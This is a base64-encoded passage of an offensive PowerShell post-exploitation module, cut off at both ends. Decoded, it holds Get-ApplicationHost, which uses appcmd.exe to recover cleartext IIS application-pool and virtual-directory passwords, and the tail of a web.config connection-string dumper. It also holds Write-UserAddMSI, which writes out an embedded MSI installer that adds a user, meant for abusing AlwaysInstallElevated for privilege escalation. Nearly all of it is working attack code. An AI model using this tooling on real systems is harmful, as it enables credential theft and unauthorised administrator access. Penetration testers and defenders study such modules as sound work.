ZkaXIscGF0aCxlbmNyIHwgU2VsZWN0LU9iamVjdCB1c2VyLHBhc3MsZGJzZXJ2LHZkaXIscGF0aCxlbmNyIC1VbmlxdWUgICAgICAgCiAgICAgICAgfQogICAgICAgIGVsc2UgewoKICAgICAgICAgICAgIyBTdGF0dXMgdXNlcgogICAgICAgICAgICBXcml0ZS1WZXJib3NlICJObyBjb25uZWN0aW9uU3RyaW5ncyBmb3VuZC4iCiAgICAgICAgICAgICRGYWxzZQogICAgICAgIH0gICAgIAoKICAgIH0KICAgIGVsc2UgewogICAgICAgIFdyaXRlLVZlcmJvc2UgIkFwcGNtZC5leGUgZG9lcyBub3QgZXhpc3QgaW4gdGhlIGRlZmF1bHQgbG9jYXRpb24uIgogICAgICAgICRGYWxzZQogICAgfQoKICAgICRFcnJvckFjdGlvblByZWZlcmVuY2UgPSAkT3JpZ0Vycm9yCn0KCgpmdW5jdGlvbiBHZXQtQXBwbGljYXRpb25Ib3N0IHsKIDwjCiAgICAuU1lOT1BTSVMKCiAgICAgICAgVGhpcyBzY3JpcHQgd2lsbCByZWNvdmVyIGVuY3J5cHRlZCBhcHBsaWNhdGlvbiBwb29sIGFuZCB2aXJ0dWFsIGRpcmVjdG9yeSBwYXNzd29yZHMgZnJvbSB0aGUgYXBwbGljYXRpb25Ib3N0LmNvbmZpZyBvbiB0aGUgc3lzdGVtLgogICAgICAgCiAgICAuREVTQ1JJUFRJT04KCiAgICAgICAgVGhpcyBzY3JpcHQgd2lsbCBkZWNyeXB0IGFuZCByZWNvdmVyIGFwcGxpY2F0aW9uIHBvb2wgYW5kIHZpcnR1YWwgZGlyZWN0b3J5IHBhc3N3b3JkcwogICAgICAgIGZyb20gdGhlIGFwcGxpY2F0aW9uSG9zdC5jb25maWcgZmlsZSBvbiB0aGUgc3lzdGVtLiAgVGhlIG91dHB1dCBzdXBwb3J0cyB0aGUgCiAgICAgICAgcGlwZWxpbmUgd2hpY2ggY2FuIGJlIHVzZWQgdG8gY29udmVydCBhbGwgb2YgdGhlIHJlc3VsdHMgaW50byBhIHByZXR0eSB0YWJsZSBieSBwaXBpbmcgCiAgICAgICAgdG8gZm9ybWF0LXRhYmxlLgogICAgICAgCiAgICAuRVhBTVBMRQoKICAgICAgICBSZXR1cm4gYXBwbGljYXRpb24gcG9vbCBhbmQgdmlydHVhbCBkaXJlY3RvcnkgcGFzc3dvcmRzIGZyb20gdGhlIGFwcGxpY2F0aW9uSG9zdC5jb25maWcgb24gdGhlIHN5c3RlbS4KICAgICAgICAgICAKICAgICAgICBQUyBDOlw+Z2V0LUFwcGxpY2F0aW9uSG9zdCAgICAgICAgIAogICAgICAgIHVzZXIgICAgOiBQb29sVXNlcjEKICAgICAgICBwYXNzICAgIDogUG9vbFBhcnR5MSEKICAgICAgICB0eXBlICAgIDogQXBwbGljYXRpb24gUG9vbAogICAgICAgIHZkaXIgICAgOiBOQQogICAgICAgIGFwcHBvb2wgOiBBcHBsaWNhdGlvblBvb2wxCiAgICAgICAgdXNlciAgICA6IFBvb2xVc2VyMgogICAgICAgIHBhc3MgICAgOiBQb29sUGFydHkyIQogICAgICAgIHR5cGUgICAgOiBBcHBsaWNhdGlvbiBQb29sCiAgICAgICAgdmRpciAgICA6IE5BCiAgICAgICAgYXBwcG9vbCA6IEFwcGxpY2F0aW9uUG9vbDIKICAgICAgICB1c2VyICAgIDogVmRpclVzZXIxCiAgICAgICAgcGFzcyAgICA6IFZkaXJQYXNzd29yZDEhCiAgICAgICAgdHlwZSAgICA6IFZpcnR1YWwgRGlyZWN0b3J5CiAgICAgICAgdmRpciAgICA6IHNpdGUxL3ZkaXIxLwogICAgICAgIGFwcHBvb2wgOiBOQQogICAgICAgIHVzZXIgICAgOiBWZGlyVXNlcjIKICAgICAgICBwYXNzICAgIDogVmRpclBhc3N3b3JkMiEKICAgICAgICB0eXBlICAgIDogVmlydHVhbCBEaXJlY3RvcnkKICAgICAgICB2ZGlyICAgIDogc2l0ZTIvCiAgICAgICAgYXBwcG9vbCA6IE5BCiAgICAgICAKICAgIC5FWEFNUExFCgogICAgICAgIFJldHVybiBhIGxpc3Qgb2YgY2xlYXJ0ZXh0IGFuZCBkZWNyeXB0ZWQgY29ubmVjdCBzdHJpbmdzIGZyb20gd2ViLmNvbmZpZyBmaWxlcy4KICAgICAgICAgICAKICAgICAgICBQUyBDOlw+Z2V0LUFwcGxpY2F0aW9uSG9zdCB8IEZvcm1hdC1UYWJsZSAtQXV0b3NpemUKICAgICAgICAgICAgICAgCiAgICAgICAgdXNlciAgICAgICAgICBwYXNzICAgICAgICAgICAgICAgdHlwZSAgICAgICAgICAgICAgdmRpciAgICAgICAgIGFwcHBvb2wKICAgICAgICAtLS0tICAgICAgICAgIC0tLS0gICAgICAgICAgICAgICAtLS0tICAgICAgICAgICAgICAtLS0tICAgICAgICAgLS0tLS0tLQogICAgICAgIFBvb2xVc2VyMSAgICAgUG9vbFBhcnR5MSEgICAgICAgQXBwbGljYXRpb24gUG9vbCAgIE5BICAgICAgICAgICBBcHBsaWNhdGlvblBvb2wxCiAgICAgICAgUG9vbFVzZXIyICAgICBQb29sUGFydHkyISAgICAgICBBcHBsaWNhdGlvbiBQb29sICAgTkEgICAgICAgICAgIEFwcGxpY2F0aW9uUG9vbDIgCiAgICAgICAgVmRpclVzZXIxICAgICBWZGlyUGFzc3dvcmQxISAgICBWaXJ0dWFsIERpcmVjdG9yeSAgc2l0ZTEvdmRpcjEvIE5BICAgICAKICAgICAgICBWZGlyVXNlcjIgICAgIFZkaXJQYXNzd29yZDIhICAgIFZpcnR1YWwgRGlyZWN0b3J5ICBzaXRlMi8gICAgICAgTkEgICAgCgogICAgLkxJTksKCiAgICAgICAgaHR0cHM6Ly9naXRodWIuY29tL2RhcmtvcGVyYXRvci9Qb3NoLVNlY01vZC9ibG9iL21hc3Rlci9Qb3N0RXhwbG9pdGF0aW9uL1Bvc3RFeHBsb2l0YXRpb24ucHNtMQogICAgICAgIGh0dHA6Ly93d3cubmV0c3BpLmNvbQogICAgICAgIGh0dHA6Ly93d3cuaWlzLm5ldC9sZWFybi9nZXQtc3RhcnRlZC9nZXR0aW5nLXN0YXJ0ZWQtd2l0aC1paXMvZ2V0dGluZy1zdGFydGVkLXdpdGgtYXBwY21kZXhlCiAgICAgICAgaHR0cDovL21zZG4ubWljcm9zb2Z0LmNvbS9lbi11cy9saWJyYXJ5L2s2aDljejhoKHY9dnMuODApLmFzcHgKCiAgICAuTk9URVMKCiAgICAgICAgQXV0aG9yOiBTY290dCBTdXRoZXJsYW5kIC0gMjAxNCwgTmV0U1BJCiAgICAgICAgVmVyc2lvbjogR2V0LUFwcGxpY2F0aW9uSG9zdCB2MS4wCiAgICAgICAgQ29tbWVudHM6IFNob3VsZCB3b3JrIG9uIElJUyA2IGFuZCBBYm92ZQojPgoKICAgICRPcmlnRXJyb3IgPSAkRXJyb3JBY3Rpb25QcmVmZXJlbmNlCiAgICAkRXJyb3JBY3Rpb25QcmVmZXJlbmNlID0gIlNpbGVudGx5Q29udGludWUiCgogICAgIyBDaGVjayBpZiBhcHBjbWQuZXhlIGV4aXN0cwogICAgaWYgKFRlc3QtUGF0aCAgKCIkRW52OlN5c3RlbVJvb3RcU3lzdGVtMzJcaW5ldHNydlxhcHBjbWQuZXhlIikpCiAgICB7CiAgICAgICAgIyBDcmVhdGUgZGF0YSB0YWJsZSB0byBob3VzZSByZXN1bHRzCiAgICAgICAgJERhdGFUYWJsZSA9IE5ldy1PYmplY3QgU3lzdGVtLkRhdGEuRGF0YVRhYmxlIAoKICAgICAgICAjIENyZWF0ZSBhbmQgbmFtZSBjb2x1bW5zIGluIHRoZSBkYXRhIHRhYmxlCiAgICAgICAgJE51bGwgPSAkRGF0YVRhYmxlLkNvbHVtbnMuQWRkKCJ1c2VyIikKICAgICAgICAkTnVsbCA9ICREYXRhVGFibGUuQ29sdW1ucy5BZGQoInBhc3MiKSAgCiAgICAgICAgJE51bGwgPSAkRGF0YVRhYmxlLkNvbHVtbnMuQWRkKCJ0eXBlIikKICAgICAgICAkTnVsbCA9ICREYXRhVGFibGUuQ29sdW1ucy5BZGQoInZkaXIiKQogICAgICAgICROdWxsID0gJERhdGFUYWJsZS5Db2x1bW5zLkFkZCgiYXBwcG9vbCIpCgogICAgICAgICMgR2V0IGxpc3Qgb2YgYXBwbGljYXRpb24gcG9vbHMKICAgICAgICBJbnZva2UtRXhwcmVzc2lvbiAiJEVudjpTeXN0ZW1Sb290XFN5c3RlbTMyXGluZXRzcnZcYXBwY21kLmV4ZSBsaXN0IGFwcHBvb2xzIC90ZXh0Om5hbWUiIHwgRm9yRWFjaC1PYmplY3QgeyAKICAgICAgICAKICAgICAgICAgICAgI0dldCBhcHBsaWNhdGlvbiBwb29sIG5hbWUKICAgICAgICAgICAgJFBvb2xOYW1lID0gJF8KICAgICAgICAKICAgICAgICAgICAgI0dldCB1c2VybmFtZSAgICAgICAgICAgCiAgICAgICAgICAgICRQb29sVXNlckNtZCA9ICIkRW52OlN5c3RlbVJvb3RcU3lzdGVtMzJcaW5ldHNydlxhcHBjbWQuZXhlIGxpc3QgYXBwcG9vbCAiICsgImAiJFBvb2xOYW1lYCIgL3RleHQ6cHJvY2Vzc21vZGVsLnVzZXJuYW1lIgogICAgICAgICAgICAkUG9vbFVzZXIgPSBJbnZva2UtRXhwcmVzc2lvbiAkUG9vbFVzZXJDbWQgCiAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICNHZXQgcGFzc3dvcmQKICAgICAgICAgICAgJFBvb2xQYXNzd29yZENtZCA9ICIkRW52OlN5c3RlbVJvb3RcU3lzdGVtMzJcaW5ldHNydlxhcHBjbWQuZXhlIGxpc3QgYXBwcG9vbCAiICsgImAiJFBvb2xOYW1lYCIgL3RleHQ6cHJvY2Vzc21vZGVsLnBhc3N3b3JkIgogICAgICAgICAgICAkUG9vbFBhc3N3b3JkID0gSW52b2tlLUV4cHJlc3Npb24gJFBvb2xQYXNzd29yZENtZCAKCiAgICAgICAgICAgICNDaGVjayBpZiBjcmVkZW50aWFscyBleGlzdHMKICAgICAgICAgICAgaWYgKCgkUG9vbFBhc3N3b3JkIC1uZSAiIikgLWFuZCAoJFBvb2xQYXNzd29yZCAtaXNub3QgW3N5c3RlbS5hcnJheV0pKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAjQWRkIGNyZWRlbnRpYWxzIHRvIGRhdGFiYXNlCiAgICAgICAgICAgICAgICAkTnVsbCA9ICREYXRhVGFibGUuUm93cy5BZGQoJFBvb2xVc2VyLCAkUG9vbFBhc3N3b3JkLCdBcHBsaWNhdGlvbiBQb29sJywnTkEnLCRQb29sTmFtZSkgCiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMgR2V0IGxpc3Qgb2YgdmlydHVhbCBkaXJlY3RvcmllcwogICAgICAgIEludm9rZS1FeHByZXNzaW9uICIkRW52OlN5c3RlbVJvb3RcU3lzdGVtMzJcaW5ldHNydlxhcHBjbWQuZXhlIGxpc3QgdmRpciAvdGV4dDp2ZGlyLm5hbWUiIHwgRm9yRWFjaC1PYmplY3QgeyAKCiAgICAgICAgICAgICNHZXQgVmlydHVhbCBEaXJlY3RvcnkgTmFtZQogICAgICAgICAgICAkVmRpck5hbWUgPSAkXwogICAgICAgIAogICAgICAgICAgICAjR2V0IHVzZXJuYW1lICAgICAgICAgICAKICAgICAgICAgICAgJFZkaXJVc2VyQ21kID0gIiRFbnY6U3lzdGVtUm9vdFxTeXN0ZW0zMlxpbmV0c3J2XGFwcGNtZC5leGUgbGlzdCB2ZGlyICIgKyAiYCIkVmRpck5hbWVgIiAvdGV4dDp1c2VyTmFtZSIKICAgICAgICAgICAgJFZkaXJVc2VyID0gSW52b2tlLUV4cHJlc3Npb24gJFZkaXJVc2VyQ21kCiAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICNHZXQgcGFzc3dvcmQgICAgICAgCiAgICAgICAgICAgICRWZGlyUGFzc3dvcmRDbWQgPSAiJEVudjpTeXN0ZW1Sb290XFN5c3RlbTMyXGluZXRzcnZcYXBwY21kLmV4ZSBsaXN0IHZkaXIgIiArICJgIiRWZGlyTmFtZWAiIC90ZXh0OnBhc3N3b3JkIgogICAgICAgICAgICAkVmRpclBhc3N3b3JkID0gSW52b2tlLUV4cHJlc3Npb24gJFZkaXJQYXNzd29yZENtZAoKICAgICAgICAgICAgI0NoZWNrIGlmIGNyZWRlbnRpYWxzIGV4aXN0cwogICAgICAgICAgICBpZiAoKCRWZGlyUGFzc3dvcmQgLW5lICIiKSAtYW5kICgkVmRpclBhc3N3b3JkIC1pc25vdCBbc3lzdGVtLmFycmF5XSkpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICNBZGQgY3JlZGVudGlhbHMgdG8gZGF0YWJhc2UKICAgICAgICAgICAgICAgICROdWxsID0gJERhdGFUYWJsZS5Sb3dzLkFkZCgkVmRpclVzZXIsICRWZGlyUGFzc3dvcmQsJ1ZpcnR1YWwgRGlyZWN0b3J5JywkVmRpck5hbWUsJ05BJykKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgIyBDaGVjayBpZiBhbnkgcGFzc3dvcmRzIHdlcmUgZm91bmQKICAgICAgICBpZiggJERhdGFUYWJsZS5yb3dzLkNvdW50IC1ndCAwICkgewogICAgICAgICAgICAjIERpc3BsYXkgcmVzdWx0cyBpbiBsaXN0IHZpZXcgdGhhdCBjYW4gZmVlZCBpbnRvIHRoZSBwaXBlbGluZSAgICAKICAgICAgICAgICAgJERhdGFUYWJsZSB8ICBTb3J0LU9iamVjdCB0eXBlLHVzZXIscGFzcyx2ZGlyLGFwcHBvb2wgfCBTZWxlY3QtT2JqZWN0IHVzZXIscGFzcyx0eXBlLHZkaXIsYXBwcG9vbCAtVW5pcXVlICAgICAgIAogICAgICAgIH0KICAgICAgICBlbHNlewogICAgICAgICAgICAjIFN0YXR1cyB1c2VyCiAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIk5vIGFwcGxpY2F0aW9uIHBvb2wgb3IgdmlydHVhbCBkaXJlY3RvcnkgcGFzc3dvcmRzIHdlcmUgZm91bmQuIgogICAgICAgICAgICAkRmFsc2UKICAgICAgICB9ICAgICAKICAgIH1lbHNlewogICAgICAgIFdyaXRlLVZlcmJvc2UgIkFwcGNtZC5leGUgZG9lcyBub3QgZXhpc3QgaW4gdGhlIGRlZmF1bHQgbG9jYXRpb24uIgogICAgICAgICRGYWxzZQogICAgfQoKICAgICRFcnJvckFjdGlvblByZWZlcmVuY2UgPSAkT3JpZ0Vycm9yCn0KCgpmdW5jdGlvbiBXcml0ZS1Vc2VyQWRkTVNJIHsKPCMKICAgIC5TWU5PUFNJUwoKICAgICAgICBXcml0ZXMgb3V0IGEgcHJlY29tcGlsZWQgTVNJIGluc3RhbGxlciB0aGF0IHByb21wdHMgZm9yIGEgdXNlci9ncm91cCBhZGRpdGlvbi4gCiAgICAgICAgVGhpcyBmdW5jdGlvbiBjYW4gYmUgdXNlZCB0byBhYnVzZSBHZXQtUmVnQWx3YXlzSW5zdGFsbEVsZXZhdGVkLgoKICAgIC5FWEFNUExFCgogICAgICAgIFBTIEM6XD4gV3JpdGUtVXNlckFkZE1TSQoKICAgICAgICBXcml0ZXMgdGhlIHVzZXIgYWRkIE1TSSB0byB0aGUgbG9jYWwgZGlyZWN0b3J5LgojPgoKICAgICRQYXRoID0gIlVzZXJBZGQubXNpIgoKICAgICRCaW5hcnkgPSAiME04UjRLR3hHdUVBQUFBQUFBQUFBQUFBQUFBQUFBQUFQZ0FFQVA3L0RBQUdBQUFBQUFBQUFBRUFBQUFCQUFBQUFRQUFBQUFBQUFBQUVBQUFBZ0FBQUFFQUFBRCsvLy8vQUFBQUFBQUFBQUQvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLzhBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ